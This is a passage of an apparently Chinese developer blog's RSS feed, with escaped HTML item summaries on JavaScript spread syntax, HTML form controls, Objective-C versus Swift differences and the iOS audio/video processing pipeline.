&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;//&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;one&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;two&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;three&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;four&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;five&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;代码少了很多，还可以随意控制位置！&lt;/p&gt;
&lt;h2 id="拷贝数组"&gt;拷贝数组&lt;/h2&gt;
&lt;p&gt;拷贝数组是个常见的任务，过去我们使用 &lt;code&gt;Array.prototype.slice&lt;/code&gt;&lt;br&gt;
来完成，但现在我们可以通过展开运算符得到数组的副本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; arr &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; arr2 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#f92672"&gt;...&lt;/span&gt;arr]; &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;等同于&lt;/span&gt; arr&lt;span style="color:#f92672"&gt;.&lt;/span&gt;slice()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;arr2&lt;span style="color:#f92672"&gt;.&lt;/span&gt;push(&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里要注意，数组里的对象仍然是引用类型的，因此实际上并不是所有内容都被“拷贝”了。&lt;/p&gt;
&lt;h2 id="将参数或-nodelist-转成数组"&gt;将参数或 NodeList 转成数组&lt;/h2&gt;
&lt;p&gt;跟拷贝数组类似，我们用 &lt;code&gt;Array.Prototype.slice&lt;/code&gt; 将 &lt;code&gt;NodeList&lt;/code&gt;和 &lt;code&gt;arguments&lt;/code&gt; 对象转成真正的数组，但是现在我们可以使用展开运算符完成这个任务：&lt;/p&gt;</description></item><item><title>表单控件</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-006/</link><pubDate>Wed, 25 Sep 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-006/</guid><description>&lt;h2 id="01form表单"&gt;01、&lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt;表单&lt;/h2&gt;
&lt;p&gt;表单是比较重要的HTML元素，主要作用是向服务端提交数据。比如结合表单元素&lt;code&gt;input&lt;/code&gt;使用，通过内部的&lt;code&gt;button&lt;/code&gt;按钮提交（type=&amp;ldquo;submit&amp;rdquo;）表单数据。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;元素/属性&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;描述&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;值/备注&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;表单元素&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;action&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;提交表单的目标（服务端）地址url&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;method&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;提交数据的方式，就是数据传输的方式&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;get&lt;/strong&gt;：通过URL提交数据 &lt;code&gt;url?uname=1&amp;amp;age=2&lt;/code&gt;；&lt;strong&gt;post&lt;/strong&gt;，通过HTTP表单数据提交，键值格式。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;target&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;提交数据时打开action url的方式&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;_self&lt;/strong&gt;：当前窗口（默认值）；&lt;strong&gt;_blank&lt;/strong&gt;：新窗口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;enctype&lt;/td&gt;
&lt;td&gt;编码类型（encode type），规定了form表单在发送到服务器时候编码方式，不常用。&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;application/x-www-form-urlencoded&lt;/strong&gt;：编码所有字符（默认）；&lt;strong&gt;multipart/form-data&lt;/strong&gt; ：混合类型， 表单中有文件上传时使用；&lt;strong&gt;text/plain&lt;/strong&gt;：纯文体，空格转换为 “+” 加号，不对特殊字符编码&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;submit()&lt;/td&gt;
&lt;td&gt;提交表单数据，通过js代码调用&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;fieldset&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;表单分组，默认样式：一个框&lt;/td&gt;
&lt;td&gt;便于表单样式管理的语义化元素&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;form&lt;/td&gt;
&lt;td&gt;from的id，当&lt;code&gt;&amp;lt;fieldset&amp;gt;&lt;/code&gt;不在form中时&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;disabled&lt;/td&gt;
&lt;td&gt;整个分组都不可用&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;legend&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;作为&lt;code&gt;&amp;lt;fieldset&amp;gt;&lt;/code&gt;的标题，显示在框上&lt;/td&gt;
&lt;td&gt;（legend /ˈledʒənd/ 铭文、图例）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; #form &lt;span style="color:#f92672"&gt;fieldset&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;solid&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;skyblue&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border-radius&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;text-align&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;center&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; #form &lt;span style="color:#f92672"&gt;fieldset&lt;/span&gt; &lt;span style="color:#f92672"&gt;legend&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;solid&lt;/span&gt; rgb(&lt;span style="color:#ae81ff"&gt;236&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;175&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;43&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border-radius&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;em&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;form&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;form&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;action&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;#&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;_self&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;method&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;post&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;fieldset&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;legend&lt;/span&gt;&amp;gt;登录&amp;lt;/&lt;span style="color:#f92672"&gt;legend&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;uname&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;placeholder&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;请输入用户名&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;required&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;maxlength&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;36&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;password&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;upwd&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;required&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;maxlength&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;12&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;placeholder&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;输入密码&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;submit&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;submit-登录&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;fieldset&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;form&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📢注意：&lt;/strong&gt;&lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt;提交数据时参数名为表单元素的name，因此表单控件须设置name属性。&lt;/p&gt;</description></item><item><title>Objective-C与Swift区别</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E4%B8%8Eswift%E5%8C%BA%E5%88%AB/</link><pubDate>Fri, 08 May 2026 13:07:14 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E4%B8%8Eswift%E5%8C%BA%E5%88%AB/</guid><description>&lt;h2 id="语言设计"&gt;语言设计&lt;/h2&gt;
&lt;h3 id="objective-c"&gt;Objective-C&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是C的超集，在C的基础上添加了Smalltalk风格的消息传递机制&lt;/li&gt;
&lt;li&gt;对象间交互不通过调用方法而是发送消息，以实现面向对象编程和超高的动态性&lt;/li&gt;
&lt;li&gt;动态性由 Objective-C Runtime 系统支持，可以在运行时修改类结构、方法交换等，详见 &lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/runtime/"&gt;Runtime&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;弱类型语言，核心类型&lt;code&gt;id&lt;/code&gt;可以指向任何Objective-C对象&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="swift"&gt;Swift&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;从很多现代化语言中汲取精华，是一门偏重于安全、性能的现代化语言&lt;/li&gt;
&lt;li&gt;Swift 也有自己的运行时系统（Swift Runtime），但设计哲学完全不同，更强调编译期优化&lt;/li&gt;
&lt;li&gt;强类型语言，编译器在编译阶段进行严格的类型检查&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="语法特性"&gt;语法特性&lt;/h2&gt;
&lt;h3 id="objective-c-1"&gt;Objective-C&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;语法冗长，需要显式声明类型&lt;/li&gt;
&lt;li&gt;命名通常较长且需要添加前缀避免冲突&lt;/li&gt;
&lt;li&gt;需要单独的&lt;code&gt;.h&lt;/code&gt;和&lt;code&gt;.m&lt;/code&gt;文件声明接口和实现&lt;/li&gt;
&lt;li&gt;引用其他文件/模块必须要&lt;code&gt;import&lt;/code&gt;（&lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E4%B8%ADimport%E8%AF%A6%E8%A7%A3/"&gt;Objective-C中import详解&lt;/a&gt;）&lt;/li&gt;
&lt;li&gt;协议不支持默认实现&lt;/li&gt;
&lt;li&gt;泛型是&amp;quot;轻量级泛型&amp;quot;，仅用于编译时类型检查，运行时类型信息会被擦除&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="swift-1"&gt;Swift&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;语法简洁，强大的类型推断减少冗余的类型声明&lt;/li&gt;
&lt;li&gt;有命名空间（模块）的存在避免命名冲突&lt;/li&gt;
&lt;li&gt;不需要单独的头文件声明接口&lt;/li&gt;
&lt;li&gt;默认情况下变量必须初始化&lt;/li&gt;
&lt;li&gt;引用同模块的其他文件不需要&lt;code&gt;import&lt;/code&gt;（&lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E4%B8%ADimport%E8%AF%A6%E8%A7%A3/"&gt;Swift中import详解&lt;/a&gt;）&lt;/li&gt;
&lt;li&gt;协议支持默认实现、支持拓展，支持关联类型以实现泛型协议&lt;/li&gt;
&lt;li&gt;值类型也可以遵守协议&lt;/li&gt;
&lt;li&gt;泛型在编译时进行类型特化优化，支持完整的泛型元编程&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="内存管理"&gt;内存管理&lt;/h2&gt;
&lt;h3 id="objective-c-2"&gt;Objective-C&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;大部分都是引用类型，依赖引用计数管理内存&lt;/li&gt;
&lt;li&gt;ARC在编译时自动插入&lt;code&gt;retain&lt;/code&gt;、&lt;code&gt;release&lt;/code&gt;、&lt;code&gt;autorelease&lt;/code&gt;调用&lt;/li&gt;
&lt;li&gt;64位系统使用优化的isa（Non-pointer isa），通过位域在isa中嵌入引用计数（&lt;code&gt;extra_rc&lt;/code&gt;字段），溢出时使用SideTable存储&lt;/li&gt;
&lt;li&gt;实例变量（ivar）会被Runtime自动初始化为0/nil&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="swift-2"&gt;Swift&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;引用类型也是依赖引用计数管理内存&lt;/li&gt;
&lt;li&gt;存在大量的值类型，例如结构体、枚举、数组、字典等&lt;/li&gt;
&lt;li&gt;非逃逸的值类型的内存存在栈区由系统进行自动管理&lt;/li&gt;
&lt;li&gt;纯Swift类的引用计数直接存储在对象头部的RefCount字段中，无需SideTable，访问更高效&lt;/li&gt;
&lt;li&gt;编译器在编译时就确保了初始化，不需要运行时统一清零&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;拓展：&lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%80%BC%E7%B1%BB%E5%9E%8B%E5%92%8C%E5%BC%95%E7%94%A8%E7%B1%BB%E5%9E%8B%E7%9A%84%E5%8C%BA%E5%88%AB/"&gt;值类型和引用类型的区别&lt;/a&gt;
拓展：&lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E4%B8%AD%E7%9A%84%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86/"&gt;iOS中的内存管理&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="性能对比"&gt;性能对比&lt;/h2&gt;
&lt;h3 id="objective-c-3"&gt;Objective-C&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;基于消息传递机制本质上是动态派发，运行时查找方法实现，有一定开销&lt;/li&gt;
&lt;li&gt;ARC管理引用计数也有开销&lt;/li&gt;
&lt;li&gt;引用类型内存存在堆区，内存管理的性能开销会比栈区多很多&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="swift-3"&gt;Swift&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;方法派发尽可能使用静态派发（如对&lt;code&gt;final&lt;/code&gt;类/方法、私有方法、值类型方法的调用）&lt;/li&gt;
&lt;li&gt;编译器可以内联优化，速度接近C
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;内联优化&lt;/strong&gt;：比如A方法调用B方法，B方法调用C方法，代码编写调用A方法时编译器通过内联直接调用C方法的实现&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;值类型内存分配在栈区，性能开销相对较小&lt;/li&gt;
&lt;li&gt;虽然值类型是深拷贝，Swift为了优化值类型性能引入写时拷贝（Copy-on-Write）机制，值类型只在写操作发生深拷贝，其他时候都是浅拷贝&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="安全性"&gt;安全性&lt;/h2&gt;
&lt;h3 id="objective-c-4"&gt;Objective-C&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;弱类型（动态类型）占主导&lt;/li&gt;
&lt;li&gt;核心类型&lt;code&gt;id&lt;/code&gt;可以指向任何Objective-C对象&lt;/li&gt;
&lt;li&gt;编译器几乎不做类型检查，会有运行时崩溃的风险（如向不响应某消息的对象发送该消息）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nil&lt;/code&gt;消息发送不会崩溃但可能导致逻辑错误，不容易感知&lt;/li&gt;
&lt;li&gt;局部变量不会自动初始化，可能包含栈上的垃圾数据（未定义行为）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="swift-4"&gt;Swift&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;可选类型强制处理空值，编译器强制解包检查&lt;/li&gt;
&lt;li&gt;强类型和编译时检查阻止了大量常见错误&lt;/li&gt;
&lt;li&gt;变量必须初始化后才能使用，编译器在编译阶段强制检查，消除未定义行为&lt;/li&gt;
&lt;li&gt;强制初始化使编译器能更精确地追踪变量生命周期，带来更多优化机会&lt;/li&gt;
&lt;li&gt;数组越界等操作会在运行时触发明确的崩溃，便于定位问题&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="编程范式"&gt;编程范式&lt;/h2&gt;
&lt;h3 id="objective-c-5"&gt;Objective-C&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;主要是面向对象编程（OOP）&lt;/li&gt;
&lt;li&gt;通过继承实现代码复用&lt;/li&gt;
&lt;li&gt;依赖Runtime实现面向切面编程（AOP），如Method Swizzling&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="swift-5"&gt;Swift&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;拥抱多范式，对函数式编程、面向协议编程（POP）、声明式编程很友好&lt;/li&gt;
&lt;li&gt;通过协议扩展提供默认实现，协议组合替代多继承&lt;/li&gt;
&lt;li&gt;值类型（struct/enum）也可以遵循协议，不再局限于类&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;拓展：&lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/oop-pop-aop/"&gt;OOP、POP与AOP&lt;/a&gt;&lt;/p&gt;</description></item><item><title>iOS音视频原理</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/%E9%9F%B3%E8%A7%86%E9%A2%91%E5%8E%9F%E7%90%86/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/%E9%9F%B3%E8%A7%86%E9%A2%91%E5%8E%9F%E7%90%86/</guid><description>&lt;p&gt;音视频开发是iOS中一个庞大且核心的技术领域，涵盖采集、编码、传输、解码、渲染等完整链路。本文从基础概念出发，深入iOS平台提供的音视频框架和底层原理。&lt;/p&gt;
&lt;h2 id="音视频处理全链路"&gt;音视频处理全链路&lt;/h2&gt;
&lt;p&gt;一个完整的音视频系统（如直播、视频通话、短视频）包含以下环节：&lt;/p&gt;
&lt;pre class="mermaid"&gt;flowchart LR
A["采集&lt;br/&gt;Camera/Mic"] --&gt; B["前处理&lt;br/&gt;美颜/降噪"]
B --&gt; C["编码&lt;br/&gt;H.264/AAC"]
C --&gt; D["封装&lt;br/&gt;FLV/MP4"]
D --&gt; E["传输&lt;br/&gt;RTMP/HLS"]
E --&gt; F["解封装&lt;br/&gt;解析容器"]
F --&gt; G["解码&lt;br/&gt;VideoToolbox"]
G --&gt; H["后处理&lt;br/&gt;滤镜/混音"]
H --&gt; I["渲染&lt;br/&gt;Metal/Speaker"]
&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;环节&lt;/th&gt;
&lt;th&gt;做什么&lt;/th&gt;
&lt;th&gt;iOS中对应的技术&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;采集&lt;/td&gt;
&lt;td&gt;从摄像头/麦克风获取原始数据&lt;/td&gt;
&lt;td&gt;AVCaptureSession&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;前处理&lt;/td&gt;
&lt;td&gt;美颜、滤镜、降噪、回声消除&lt;/td&gt;
&lt;td&gt;CoreImage、vDSP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;编码&lt;/td&gt;
&lt;td&gt;将原始数据压缩为体积更小的格式&lt;/td&gt;
&lt;td&gt;VideoToolbox、AudioToolbox&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;封装&lt;/td&gt;
&lt;td&gt;将编码后的音视频数据打包到容器中&lt;/td&gt;
&lt;td&gt;AVAssetWriter&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;传输&lt;/td&gt;
&lt;td&gt;通过网络发送到服务器或其他端&lt;/td&gt;
&lt;td&gt;URLSession、第三方推流SDK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;解封装&lt;/td&gt;
&lt;td&gt;从容器中分离出音频流和视频流&lt;/td&gt;
&lt;td&gt;AVAssetReader&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;解码&lt;/td&gt;
&lt;td&gt;将压缩数据还原为原始像素/采样数据&lt;/td&gt;
&lt;td&gt;VideoToolbox、AudioToolbox&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;后处理&lt;/td&gt;
&lt;td&gt;滤镜、水印、混音等&lt;/td&gt;
&lt;td&gt;CoreImage、Metal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;渲染&lt;/td&gt;
&lt;td&gt;将画面显示到屏幕、声音输出到扬声器&lt;/td&gt;
&lt;td&gt;AVSampleBufferDisplayLayer、Metal、AudioUnit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="核心术语"&gt;核心术语&lt;/h2&gt;
&lt;p&gt;在深入细节之前，先了解几个贯穿全文的核心概念：&lt;/p&gt;
&lt;h3 id="什么是编解码器codec"&gt;什么是编解码器（Codec）&lt;/h3&gt;
